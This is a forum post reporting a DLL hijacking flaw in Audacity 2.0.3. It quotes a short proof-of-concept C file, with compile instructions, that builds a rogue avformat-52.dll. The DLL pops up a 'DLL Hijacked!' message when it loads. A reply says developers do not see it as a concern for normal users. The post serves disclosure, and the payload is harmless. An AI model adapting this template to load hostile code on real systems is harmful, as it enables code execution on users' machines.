Security Flaw: Audacity v. 2.0.3 Dll hijacking

Just saw this floating around, thought you might want to know about it and get this fixed ASAP. :open_mouth:

/*

Vendor: Audacity
Product Web Page: http://audacityteam.org/
Affected Version: v.2.0.3

Compile: gcc -shared -o avformat-52.dll exploit.c

Tested on Microsoft Windows 7 Professional SP1 (EN) , winxp

Vulnerability discovered by former

Date:
26.06.2013

*/

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
    case DLL_PROCESS_ATTACH:
    dll_mll();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
}

return TRUE;

}

int dll_mll()
{
MessageBox(0, “DLL Hijacked!”, “DLL Message”, MB_OK);
}

>
>
> ![](http://s10.postimg.org/ot8lghktl/image.png)
>
> ]

I mentioned this to a developer and it is not considered a concern for normal users.


Gale